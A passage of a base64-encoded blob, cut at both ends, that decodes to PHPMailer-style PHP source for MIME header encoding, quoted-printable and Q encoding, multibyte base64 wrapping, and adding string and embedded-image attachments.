FNjQpCiAgICB7CiAgICAgICAgJGVuY29kZWQgPSAnJzsKICAgICAgICBzd2l0Y2ggKHN0cnRvbG93ZXIoJGVuY29kaW5nKSkgewogICAgICAgICAgICBjYXNlIHN0YXRpYzo6RU5DT0RJTkdfQkFTRTY0OgogICAgICAgICAgICAgICAgJGVuY29kZWQgPSBjaHVua19zcGxpdCgKICAgICAgICAgICAgICAgICAgICBiYXNlNjRfZW5jb2RlKCRzdHIpLAogICAgICAgICAgICAgICAgICAgIHN0YXRpYzo6U1REX0xJTkVfTEVOR1RILAogICAgICAgICAgICAgICAgICAgIHN0YXRpYzo6JExFCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2Ugc3RhdGljOjpFTkNPRElOR183QklUOgogICAgICAgICAgICBjYXNlIHN0YXRpYzo6RU5DT0RJTkdfOEJJVDoKICAgICAgICAgICAgICAgICRlbmNvZGVkID0gc3RhdGljOjpub3JtYWxpemVCcmVha3MoJHN0cik7CiAgICAgICAgICAgICAgICAvLyBNYWtlIHN1cmUgaXQgZW5kcyB3aXRoIGEgbGluZSBicmVhawogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkZW5jb2RlZCwgLSAoc3RybGVuKHN0YXRpYzo6JExFKSkpICE9IHN0YXRpYzo6JExFKSB7CiAgICAgICAgICAgICAgICAgICAgJGVuY29kZWQgLj0gc3RhdGljOjokTEU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSBzdGF0aWM6OkVOQ09ESU5HX0JJTkFSWToKICAgICAgICAgICAgICAgICRlbmNvZGVkID0gJHN0cjsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlIHN0YXRpYzo6RU5DT0RJTkdfUVVPVEVEX1BSSU5UQUJMRToKICAgICAgICAgICAgICAgICRlbmNvZGVkID0gJHRoaXMtPmVuY29kZVFQKCRzdHIpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJHRoaXMtPmxhbmcoJ2VuY29kaW5nJykgLiAkZW5jb2RpbmcpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkZW5jb2RlZDsKICAgIH0KICAgIC8qKgogICAgICogRW5jb2RlIGEgaGVhZGVyIHZhbHVlIChub3QgaW5jbHVkaW5nIGl0cyBsYWJlbCkgb3B0aW1hbGx5LgogICAgICogUGlja3Mgc2hvcnRlc3Qgb2YgUSwgQiwgb3Igbm9uZS4gUmVzdWx0IGluY2x1ZGVzIGZvbGRpbmcgaWYgbmVlZGVkLgogICAgICogU2VlIFJGQzgyMiBkZWZpbml0aW9ucyBmb3IgcGhyYXNlLCBjb21tZW50IGFuZCB0ZXh0IHBvc2l0aW9ucy4KICAgICAqCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHIgICAgICBUaGUgaGVhZGVyIHZhbHVlIHRvIGVuY29kZQogICAgICogQHBhcmFtIHN0cmluZyAkcG9zaXRpb24gV2hhdCBjb250ZXh0IHRoZSBzdHJpbmcgd2lsbCBiZSB1c2VkIGluCiAgICAgKgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGVuY29kZUhlYWRlcigkc3RyLCAkcG9zaXRpb24gPSAndGV4dCcpCiAgICB7CiAgICAgICAgJG1hdGNoY291bnQgPSAwOwogICAgICAgIHN3aXRjaCAoc3RydG9sb3dlcigkcG9zaXRpb24pKSB7CiAgICAgICAgICAgIGNhc2UgJ3BocmFzZSc6CiAgICAgICAgICAgICAgICBpZiAoIXByZWdfbWF0Y2goJy9bXDIwMC1cMzc3XS8nLCAkc3RyKSkgewogICAgICAgICAgICAgICAgICAgIC8vIENhbid0IHVzZSBhZGRzbGFzaGVzIGFzIHdlIGRvbid0IGtub3cgdGhlIHZhbHVlIG9mIG1hZ2ljX3F1b3Rlc19zeWJhc2UKICAgICAgICAgICAgICAgICAgICAkZW5jb2RlZCA9IGFkZGNzbGFzaGVzKCRzdHIsICJcMC4uXDM3XDE3N1xcXCIiKTsKICAgICAgICAgICAgICAgICAgICBpZiAoKCRzdHIgPT0gJGVuY29kZWQpIGFuZCAhcHJlZ19tYXRjaCgnL1teQS1aYS16MC05ISMkJSZcJyorXC89P15fYHt8fX4gLV0vJywgJHN0cikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRlbmNvZGVkOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gIlwiJGVuY29kZWRcIiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkbWF0Y2hjb3VudCA9IHByZWdfbWF0Y2hfYWxsKCcvW15cMDQwXDA0MVwwNDMtXDEzM1wxMzUtXDE3Nl0vJywgJHN0ciwgJG1hdGNoZXMpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAvKiBAbm9pbnNwZWN0aW9uIFBocE1pc3NpbmdCcmVha1N0YXRlbWVudEluc3BlY3Rpb24gKi8KICAgICAgICAgICAgY2FzZSAnY29tbWVudCc6CiAgICAgICAgICAgICAgICAkbWF0Y2hjb3VudCA9IHByZWdfbWF0Y2hfYWxsKCcvWygpIl0vJywgJHN0ciwgJG1hdGNoZXMpOwogICAgICAgICAgICAgICAgLy9mYWxsdGhyb3VnaAogICAgICAgICAgICBjYXNlICd0ZXh0JzoKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICRtYXRjaGNvdW50ICs9IHByZWdfbWF0Y2hfYWxsKCcvW1wwMDAtXDAxMFwwMTNcMDE0XDAxNi1cMDM3XDE3Ny1cMzc3XS8nLCAkc3RyLCAkbWF0Y2hlcyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgLy9SRkNzIHNwZWNpZnkgYSBtYXhpbXVtIGxpbmUgbGVuZ3RoIG9mIDc4IGNoYXJzLCBob3dldmVyIG1haWwoKSB3aWxsIHNvbWV0aW1lcwogICAgICAgIC8vY29ycnVwdCBtZXNzYWdlcyB3aXRoIGhlYWRlcnMgbG9uZ2VyIHRoYW4gNjUgY2hhcnMuIFNlZSAjODE4CiAgICAgICAgJGxlbmd0aHN1YiA9ICdtYWlsJyA9PSAkdGhpcy0+TWFpbGVyID8gMTMgOiAwOwogICAgICAgICRtYXhsZW4gPSBzdGF0aWM6OlNURF9MSU5FX0xFTkdUSCAtICRsZW5ndGhzdWI7CiAgICAgICAgLy8gVHJ5IHRvIHNlbGVjdCB0aGUgZW5jb2Rpbmcgd2hpY2ggc2hvdWxkIHByb2R1Y2UgdGhlIHNob3J0ZXN0IG91dHB1dAogICAgICAgIGlmICgkbWF0Y2hjb3VudCA+IHN0cmxlbigkc3RyKSAvIDMpIHsKICAgICAgICAgICAgLy8gTW9yZSB0aGFuIGEgdGhpcmQgb2YgdGhlIGNvbnRlbnQgd2lsbCBuZWVkIGVuY29kaW5nLCBzbyBCIGVuY29kaW5nIHdpbGwgYmUgbW9zdCBlZmZpY2llbnQKICAgICAgICAgICAgJGVuY29kaW5nID0gJ0InOwogICAgICAgICAgICAvL1RoaXMgY2FsY3VsYXRpb24gaXM6CiAgICAgICAgICAgIC8vIG1heCBsaW5lIGxlbmd0aAogICAgICAgICAgICAvLyAtIHNob3J0ZW4gdG8gYXZvaWQgbWFpbCgpIGNvcnJ1cHRpb24KICAgICAgICAgICAgLy8gLSBRL0IgZW5jb2RpbmcgY2hhciBvdmVyaGVhZCAoImAgPT88Y2hhcnNldD4/W1FCXT88Y29udGVudD4/PWAiKQogICAgICAgICAgICAvLyAtIGNoYXJzZXQgbmFtZSBsZW5ndGgKICAgICAgICAgICAgJG1heGxlbiA9IHN0YXRpYzo6U1REX0xJTkVfTEVOR1RIIC0gJGxlbmd0aHN1YiAtIDggLSBzdHJsZW4oJHRoaXMtPkNoYXJTZXQpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmhhc011bHRpQnl0ZXMoJHN0cikpIHsKICAgICAgICAgICAgICAgIC8vIFVzZSBhIGN1c3RvbSBmdW5jdGlvbiB3aGljaCBjb3JyZWN0bHkgZW5jb2RlcyBhbmQgd3JhcHMgbG9uZwogICAgICAgICAgICAgICAgLy8gbXVsdGlieXRlIHN0cmluZ3Mgd2l0aG91dCBicmVha2luZyBsaW5lcyB3aXRoaW4gYSBjaGFyYWN0ZXIKICAgICAgICAgICAgICAgICRlbmNvZGVkID0gJHRoaXMtPmJhc2U2NEVuY29kZVdyYXBNQigkc3RyLCAiXG4iKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRlbmNvZGVkID0gYmFzZTY0X2VuY29kZSgkc3RyKTsKICAgICAgICAgICAgICAgICRtYXhsZW4gLT0gJG1heGxlbiAlIDQ7CiAgICAgICAgICAgICAgICAkZW5jb2RlZCA9IHRyaW0oY2h1bmtfc3BsaXQoJGVuY29kZWQsICRtYXhsZW4sICJcbiIpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkZW5jb2RlZCA9IHByZWdfcmVwbGFjZSgnL14oLiopJC9tJywgJyA9PycgLiAkdGhpcy0+Q2hhclNldCAuICI/JGVuY29kaW5nP1xcMT89IiwgJGVuY29kZWQpOwogICAgICAgIH0gZWxzZWlmICgkbWF0Y2hjb3VudCA+IDApIHsKICAgICAgICAgICAgLy8xIG9yIG1vcmUgY2hhcnMgbmVlZCBlbmNvZGluZywgdXNlIFEtZW5jb2RlCiAgICAgICAgICAgICRlbmNvZGluZyA9ICdRJzsKICAgICAgICAgICAgLy9SZWNhbGMgbWF4IGxpbmUgbGVuZ3RoIGZvciBRIGVuY29kaW5nIC0gc2VlIGNvbW1lbnRzIG9uIEIgZW5jb2RlCiAgICAgICAgICAgICRtYXhsZW4gPSBzdGF0aWM6OlNURF9MSU5FX0xFTkdUSCAtICRsZW5ndGhzdWIgLSA4IC0gc3RybGVuKCR0aGlzLT5DaGFyU2V0KTsKICAgICAgICAgICAgJGVuY29kZWQgPSAkdGhpcy0+ZW5jb2RlUSgkc3RyLCAkcG9zaXRpb24pOwogICAgICAgICAgICAkZW5jb2RlZCA9ICR0aGlzLT53cmFwVGV4dCgkZW5jb2RlZCwgJG1heGxlbiwgdHJ1ZSk7CiAgICAgICAgICAgICRlbmNvZGVkID0gc3RyX3JlcGxhY2UoJz0nIC4gc3RhdGljOjokTEUsICJcbiIsIHRyaW0oJGVuY29kZWQpKTsKICAgICAgICAgICAgJGVuY29kZWQgPSBwcmVnX3JlcGxhY2UoJy9eKC4qKSQvbScsICcgPT8nIC4gJHRoaXMtPkNoYXJTZXQgLiAiPyRlbmNvZGluZz9cXDE/PSIsICRlbmNvZGVkKTsKICAgICAgICB9IGVsc2VpZiAoc3RybGVuKCRzdHIpID4gJG1heGxlbikgewogICAgICAgICAgICAvL05vIGNoYXJzIG5lZWQgZW5jb2RpbmcsIGJ1dCBsaW5lIGlzIHRvbyBsb25nLCBzbyBmb2xkIGl0CiAgICAgICAgICAgICRlbmNvZGVkID0gdHJpbSgkdGhpcy0+d3JhcFRleHQoJHN0ciwgJG1heGxlbiwgZmFsc2UpKTsKICAgICAgICAgICAgaWYgKCRzdHIgPT0gJGVuY29kZWQpIHsKICAgICAgICAgICAgICAgIC8vV3JhcHBpbmcgbmljZWx5IGRpZG4ndCB3b3JrLCB3cmFwIGhhcmQgaW5zdGVhZAogICAgICAgICAgICAgICAgJGVuY29kZWQgPSB0cmltKGNodW5rX3NwbGl0KCRzdHIsIHN0YXRpYzo6U1REX0xJTkVfTEVOR1RILCBzdGF0aWM6OiRMRSkpOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRlbmNvZGVkID0gc3RyX3JlcGxhY2Uoc3RhdGljOjokTEUsICJcbiIsIHRyaW0oJGVuY29kZWQpKTsKICAgICAgICAgICAgJGVuY29kZWQgPSBwcmVnX3JlcGxhY2UoJy9eKC4qKSQvbScsICcgXFwxJywgJGVuY29kZWQpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIC8vTm8gcmVmb3JtYXR0aW5nIG5lZWRlZAogICAgICAgICAgICByZXR1cm4gJHN0cjsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHRyaW0oc3RhdGljOjpub3JtYWxpemVCcmVha3MoJGVuY29kZWQpKTsKICAgIH0KICAgIC8qKgogICAgICogQ2hlY2sgaWYgYSBzdHJpbmcgY29udGFpbnMgbXVsdGktYnl0ZSBjaGFyYWN0ZXJzLgogICAgICoKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0ciBtdWx0aS1ieXRlIHRleHQgdG8gd3JhcCBlbmNvZGUKICAgICAqCiAgICAgKiBAcmV0dXJuIGJvb2wKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGhhc011bHRpQnl0ZXMoJHN0cikKICAgIHsKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdtYl9zdHJsZW4nKSkgewogICAgICAgICAgICByZXR1cm4gc3RybGVuKCRzdHIpID4gbWJfc3RybGVuKCRzdHIsICR0aGlzLT5DaGFyU2V0KTsKICAgICAgICB9CiAgICAgICAgLy8gQXNzdW1lIG5vIG11bHRpYnl0ZXMgKHdlIGNhbid0IGhhbmRsZSB3aXRob3V0IG1ic3RyaW5nIGZ1bmN0aW9ucyBhbnl3YXkpCiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQogICAgLyoqCiAgICAgKiBEb2VzIGEgc3RyaW5nIGNvbnRhaW4gYW55IDgtYml0IGNoYXJzIChpbiBhbnkgY2hhcnNldCk/CiAgICAgKgogICAgICogQHBhcmFtIHN0cmluZyAkdGV4dAogICAgICoKICAgICAqIEByZXR1cm4gYm9vbAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gaGFzOGJpdENoYXJzKCR0ZXh0KQogICAgewogICAgICAgIHJldHVybiAoYm9vbCkgcHJlZ19tYXRjaCgnL1tceDgwLVx4RkZdLycsICR0ZXh0KTsKICAgIH0KICAgIC8qKgogICAgICogRW5jb2RlIGFuZCB3cmFwIGxvbmcgbXVsdGlieXRlIHN0cmluZ3MgZm9yIG1haWwgaGVhZGVycwogICAgICogd2l0aG91dCBicmVha2luZyBsaW5lcyB3aXRoaW4gYSBjaGFyYWN0ZXIuCiAgICAgKiBBZGFwdGVkIGZyb20gYSBmdW5jdGlvbiBieSBwYXJhdm9pZC4KICAgICAqCiAgICAgKiBAc2VlIGh0dHA6Ly93d3cucGhwLm5ldC9tYW51YWwvZW4vZnVuY3Rpb24ubWItZW5jb2RlLW1pbWVoZWFkZXIucGhwIzYwMjgzCiAgICAgKgogICAgICogQHBhcmFtIHN0cmluZyAkc3RyICAgICAgIG11bHRpLWJ5dGUgdGV4dCB0byB3cmFwIGVuY29kZQogICAgICogQHBhcmFtIHN0cmluZyAkbGluZWJyZWFrIHN0cmluZyB0byB1c2UgYXMgbGluZWZlZWQvZW5kLW9mLWxpbmUKICAgICAqCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gYmFzZTY0RW5jb2RlV3JhcE1CKCRzdHIsICRsaW5lYnJlYWsgPSBudWxsKQogICAgewogICAgICAgICRzdGFydCA9ICc9PycgLiAkdGhpcy0+Q2hhclNldCAuICc/Qj8nOwogICAgICAgICRlbmQgPSAnPz0nOwogICAgICAgICRlbmNvZGVkID0gJyc7CiAgICAgICAgaWYgKG51bGwgPT09ICRsaW5lYnJlYWspIHsKICAgICAgICAgICAgJGxpbmVicmVhayA9IHN0YXRpYzo6JExFOwogICAgICAgIH0KICAgICAgICAkbWJfbGVuZ3RoID0gbWJfc3RybGVuKCRzdHIsICR0aGlzLT5DaGFyU2V0KTsKICAgICAgICAvLyBFYWNoIGxpbmUgbXVzdCBoYXZlIGxlbmd0aCA8PSA3NSwgaW5jbHVkaW5nICRzdGFydCBhbmQgJGVuZAogICAgICAgICRsZW5ndGggPSA3NSAtIHN0cmxlbigkc3RhcnQpIC0gc3RybGVuKCRlbmQpOwogICAgICAgIC8vIEF2ZXJhZ2UgbXVsdGktYnl0ZSByYXRpbwogICAgICAgICRyYXRpbyA9ICRtYl9sZW5ndGggLyBzdHJsZW4oJHN0cik7CiAgICAgICAgLy8gQmFzZTY0IGhhcyBhIDQ6MyByYXRpbwogICAgICAgICRhdmdMZW5ndGggPSBmbG9vcigkbGVuZ3RoICogJHJhdGlvICogLjc1KTsKICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAkbWJfbGVuZ3RoOyAkaSArPSAkb2Zmc2V0KSB7CiAgICAgICAgICAgICRsb29rQmFjayA9IDA7CiAgICAgICAgICAgIGRvIHsKICAgICAgICAgICAgICAgICRvZmZzZXQgPSAkYXZnTGVuZ3RoIC0gJGxvb2tCYWNrOwogICAgICAgICAgICAgICAgJGNodW5rID0gbWJfc3Vic3RyKCRzdHIsICRpLCAkb2Zmc2V0LCAkdGhpcy0+Q2hhclNldCk7CiAgICAgICAgICAgICAgICAkY2h1bmsgPSBiYXNlNjRfZW5jb2RlKCRjaHVuayk7CiAgICAgICAgICAgICAgICArKyRsb29rQmFjazsKICAgICAgICAgICAgfSB3aGlsZSAoc3RybGVuKCRjaHVuaykgPiAkbGVuZ3RoKTsKICAgICAgICAgICAgJGVuY29kZWQgLj0gJGNodW5rIC4gJGxpbmVicmVhazsKICAgICAgICB9CiAgICAgICAgLy8gQ2hvbXAgdGhlIGxhc3QgbGluZWZlZWQKICAgICAgICByZXR1cm4gc3Vic3RyKCRlbmNvZGVkLCAwLCAtc3RybGVuKCRsaW5lYnJlYWspKTsKICAgIH0KICAgIC8qKgogICAgICogRW5jb2RlIGEgc3RyaW5nIGluIHF1b3RlZC1wcmludGFibGUgZm9ybWF0LgogICAgICogQWNjb3JkaW5nIHRvIFJGQzIwNDUgc2VjdGlvbiA2LjcuCiAgICAgKgogICAgICogQHBhcmFtIHN0cmluZyAkc3RyaW5nIFRoZSB0ZXh0IHRvIGVuY29kZQogICAgICoKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBlbmNvZGVRUCgkc3RyaW5nKQogICAgewogICAgICAgIHJldHVybiBzdGF0aWM6Om5vcm1hbGl6ZUJyZWFrcyhxdW90ZWRfcHJpbnRhYmxlX2VuY29kZSgkc3RyaW5nKSk7CiAgICB9CiAgICAvKioKICAgICAqIEVuY29kZSBhIHN0cmluZyB1c2luZyBRIGVuY29kaW5nLgogICAgICoKICAgICAqIEBzZWUgaHR0cDovL3Rvb2xzLmlldGYub3JnL2h0bWwvcmZjMjA0NyNzZWN0aW9uLTQuMgogICAgICoKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0ciAgICAgIHRoZSB0ZXh0IHRvIGVuY29kZQogICAgICogQHBhcmFtIHN0cmluZyAkcG9zaXRpb24gV2hlcmUgdGhlIHRleHQgaXMgZ29pbmcgdG8gYmUgdXNlZCwgc2VlIHRoZSBSRkMgZm9yIHdoYXQgdGhhdCBtZWFucwogICAgICoKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBlbmNvZGVRKCRzdHIsICRwb3NpdGlvbiA9ICd0ZXh0JykKICAgIHsKICAgICAgICAvLyBUaGVyZSBzaG91bGQgbm90IGJlIGFueSBFT0wgaW4gdGhlIHN0cmluZwogICAgICAgICRwYXR0ZXJuID0gJyc7CiAgICAgICAgJGVuY29kZWQgPSBzdHJfcmVwbGFjZShbIlxyIiwgIlxuIl0sICcnLCAkc3RyKTsKICAgICAgICBzd2l0Y2ggKHN0cnRvbG93ZXIoJHBvc2l0aW9uKSkgewogICAgICAgICAgICBjYXNlICdwaHJhc2UnOgogICAgICAgICAgICAgICAgLy8gUkZDIDIwNDcgc2VjdGlvbiA1LjMKICAgICAgICAgICAgICAgICRwYXR0ZXJuID0gJ15BLVphLXowLTkhKitcLyAtJzsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgLyoKICAgICAgICAgICAgICogUkZDIDIwNDcgc2VjdGlvbiA1LjIuCiAgICAgICAgICAgICAqIEJ1aWxkICRwYXR0ZXJuIHdpdGhvdXQgaW5jbHVkaW5nIGRlbGltaXRlcnMgYW5kIFtdCiAgICAgICAgICAgICAqLwogICAgICAgICAgICAgICAgLyogQG5vaW5zcGVjdGlvbiBQaHBNaXNzaW5nQnJlYWtTdGF0ZW1lbnRJbnNwZWN0aW9uICovCiAgICAgICAgICAgIGNhc2UgJ2NvbW1lbnQnOgogICAgICAgICAgICAgICAgJHBhdHRlcm4gPSAnXChcKSInOwogICAgICAgICAgICAgICAgLyogSW50ZW50aW9uYWwgZmFsbCB0aHJvdWdoICovCiAgICAgICAgICAgIGNhc2UgJ3RleHQnOgogICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgLy8gUkZDIDIwNDcgc2VjdGlvbiA1LjEKICAgICAgICAgICAgICAgIC8vIFJlcGxhY2UgZXZlcnkgaGlnaCBhc2NpaSwgY29udHJvbCwgPSwgPyBhbmQgXyBjaGFyYWN0ZXJzCiAgICAgICAgICAgICAgICAvKiogQG5vaW5zcGVjdGlvbiBTdXNwaWNpb3VzQXNzaWdubWVudHNJbnNwZWN0aW9uICovCiAgICAgICAgICAgICAgICAkcGF0dGVybiA9ICdcMDAwLVwwMTFcMDEzXDAxNFwwMTYtXDAzN1wwNzVcMDc3XDEzN1wxNzctXDM3NycgLiAkcGF0dGVybjsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KICAgICAgICAkbWF0Y2hlcyA9IFtdOwogICAgICAgIGlmIChwcmVnX21hdGNoX2FsbCgiL1t7JHBhdHRlcm59XS8iLCAkZW5jb2RlZCwgJG1hdGNoZXMpKSB7CiAgICAgICAgICAgIC8vIElmIHRoZSBzdHJpbmcgY29udGFpbnMgYW4gJz0nLCBtYWtlIHN1cmUgaXQncyB0aGUgZmlyc3QgdGhpbmcgd2UgcmVwbGFjZQogICAgICAgICAgICAvLyBzbyBhcyB0byBhdm9pZCBkb3VibGUtZW5jb2RpbmcKICAgICAgICAgICAgJGVxa2V5ID0gYXJyYXlfc2VhcmNoKCc9JywgJG1hdGNoZXNbMF0pOwogICAgICAgICAgICBpZiAoZmFsc2UgIT09ICRlcWtleSkgewogICAgICAgICAgICAgICAgdW5zZXQoJG1hdGNoZXNbMF1bJGVxa2V5XSk7CiAgICAgICAgICAgICAgICBhcnJheV91bnNoaWZ0KCRtYXRjaGVzWzBdLCAnPScpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZvcmVhY2ggKGFycmF5X3VuaXF1ZSgkbWF0Y2hlc1swXSkgYXMgJGNoYXIpIHsKICAgICAgICAgICAgICAgICRlbmNvZGVkID0gc3RyX3JlcGxhY2UoJGNoYXIsICc9JyAuIHNwcmludGYoJyUwMlgnLCBvcmQoJGNoYXIpKSwgJGVuY29kZWQpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIC8vIFJlcGxhY2Ugc3BhY2VzIHdpdGggXyAobW9yZSByZWFkYWJsZSB0aGFuID0yMCkKICAgICAgICAvLyBSRkMgMjA0NyBzZWN0aW9uIDQuMigyKQogICAgICAgIHJldHVybiBzdHJfcmVwbGFjZSgnICcsICdfJywgJGVuY29kZWQpOwogICAgfQogICAgLyoqCiAgICAgKiBBZGQgYSBzdHJpbmcgb3IgYmluYXJ5IGF0dGFjaG1lbnQgKG5vbi1maWxlc3lzdGVtKS4KICAgICAqIFRoaXMgbWV0aG9kIGNhbiBiZSB1c2VkIHRvIGF0dGFjaCBhc2NpaSBvciBiaW5hcnkgZGF0YSwKICAgICAqIHN1Y2ggYXMgYSBCTE9CIHJlY29yZCBmcm9tIGEgZGF0YWJhc2UuCiAgICAgKgogICAgICogQHBhcmFtIHN0cmluZyAkc3RyaW5nICAgICAgU3RyaW5nIGF0dGFjaG1lbnQgZGF0YQogICAgICogQHBhcmFtIHN0cmluZyAkZmlsZW5hbWUgICAgTmFtZSBvZiB0aGUgYXR0YWNobWVudAogICAgICogQHBhcmFtIHN0cmluZyAkZW5jb2RpbmcgICAgRmlsZSBlbmNvZGluZyAoc2VlICRFbmNvZGluZykKICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUgICAgICAgIEZpbGUgZXh0ZW5zaW9uIChNSU1FKSB0eXBlCiAgICAgKiBAcGFyYW0gc3RyaW5nICRkaXNwb3NpdGlvbiBEaXNwb3NpdGlvbiB0byB1c2UKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZFN0cmluZ0F0dGFjaG1lbnQoCiAgICAgICAgJHN0cmluZywKICAgICAgICAkZmlsZW5hbWUsCiAgICAgICAgJGVuY29kaW5nID0gc2VsZjo6RU5DT0RJTkdfQkFTRTY0LAogICAgICAgICR0eXBlID0gJycsCiAgICAgICAgJGRpc3Bvc2l0aW9uID0gJ2F0dGFjaG1lbnQnCiAgICApIHsKICAgICAgICAvLyBJZiBhIE1JTUUgdHlwZSBpcyBub3Qgc3BlY2lmaWVkLCB0cnkgdG8gd29yayBpdCBvdXQgZnJvbSB0aGUgZmlsZSBuYW1lCiAgICAgICAgaWYgKCcnID09ICR0eXBlKSB7CiAgICAgICAgICAgICR0eXBlID0gc3RhdGljOjpmaWxlbmFtZVRvVHlwZSgkZmlsZW5hbWUpOwogICAgICAgIH0KICAgICAgICAvLyBBcHBlbmQgdG8gJGF0dGFjaG1lbnQgYXJyYXkKICAgICAgICAkdGhpcy0+YXR0YWNobWVudFtdID0gWwogICAgICAgICAgICAwID0+ICRzdHJpbmcsCiAgICAgICAgICAgIDEgPT4gJGZpbGVuYW1lLAogICAgICAgICAgICAyID0+IGJhc2VuYW1lKCRmaWxlbmFtZSksCiAgICAgICAgICAgIDMgPT4gJGVuY29kaW5nLAogICAgICAgICAgICA0ID0+ICR0eXBlLAogICAgICAgICAgICA1ID0+IHRydWUsIC8vIGlzU3RyaW5nQXR0YWNobWVudAogICAgICAgICAgICA2ID0+ICRkaXNwb3NpdGlvbiwKICAgICAgICAgICAgNyA9PiAwLAogICAgICAgIF07CiAgICB9CiAgICAvKioKICAgICAqIEFkZCBhbiBlbWJlZGRlZCAoaW5saW5lKSBhdHRhY2htZW50IGZyb20gYSBmaWxlLgogICAgICogVGhpcyBjYW4gaW5jbHVkZSBpbWFnZXMsIHNvdW5kcywgYW5kIGp1c3QgYWJvdXQgYW55IG90aGVyIGRvY3VtZW50IHR5cGUuCiAgICAgKiBUaGVzZSBkaWZmZXIgZnJvbSAncmVndWxhcicgYXR0YWNobWVudHMgaW4gdGhhdCB0aGV5IGFyZSBpbnRlbmRlZCB0byBiZQogICAgICogZGlzcGxheWVkIGlubGluZSB3aXRoIHRoZSBtZXNzYWdlLCBub3QganVzdCBhdHRhY2hlZCBmb3IgZG93bmxvYWQuCiAgICAgKiBUaGlzIGlzIHVzZWQgaW4gSFRNTCBtZXNzYWdlcyB0aGF0IGVtYmVkIHRoZSBpbWFnZXMKICAgICAqIHRoZSBIVE1MIHJlZmVycyB0byB1c2luZyB0aGUgJGNpZCB2YWx1ZS4KICAgICAqIE5ldmVyIHVzZSBhIHVzZXItc3VwcGxpZWQgcGF0aCB0byBhIGZpbGUhCiAgICAgKgogICAgICogQHBhcmFtIHN0cmluZyAkcGF0aCAgICAgICAgUGF0aCB0byB0aGUgYXR0YWNobWVudAogICAgICogQHBhcmFtIHN0cmluZyAkY2lkICAgICAgICAgQ29udGVudCBJRCBvZiB0aGUgYXR0YWNobWVudDsgVXNlIHRoaXMgdG8gcmVmZXJlbmNlCiAgICAgKiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aGUgY29udGVudCB3aGVuIHVzaW5nIGFuIGVtYmVkZGVkIGltYWdlIGluIEhUTUwKICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgICAgICAgIE92ZXJyaWRlcyB0aGUgYXR0YWNobWVudCBuYW1lCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGluZyAgICBGaWxlIGVuY29kaW5nIChzZWUgJEVuY29kaW5nKQogICAgICogQHBhcmFtIHN0cmluZyAkdHlwZSAgICAgICAgRmlsZSBNSU1FIHR5cGUKICAgICAqIEBwYXJhbSBzdHJpbmcgJGRpc3Bvc2l0aW9uIERpc3Bvc2l0aW9uIHRvIHVzZQogICAgICoKICAgICAqIEByZXR1cm4gYm9vbCBUcnVlIG9uIHN1Y2Nlc3NmdWxseSBhZGRpbmcgYW4gYXR0YWNobWVudAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkRW1iZWRkZWRJbWFnZSgkcGF0aCwgJGNpZCwgJG5hbWUgPSAnJywgJGVuY29kaW5nID0gc2VsZjo6RU5DT0RJTkdfQkFTRTY0LCAkdHlwZSA9ICcnLCAkZGlzcG9zaXRpb24gPSAnaW5saW5lJykKICAgIHsKICAgICAgICBpZiAoIXN0YXRpYzo6aXNQZXJtaXR0ZWRQYXRoKCRwYXRoKSB8fCAhQGlzX2ZpbGUoJHBhdGgpKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkdGhpcy0+bGFuZygnZmlsZV9hY2Nlc3MnKSAuICRwYXRoKTsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICAvLyBJZiBhIE1JTUUgdHlwZSBpcyBub3Qgc3BlY2lmaWVkLCB0c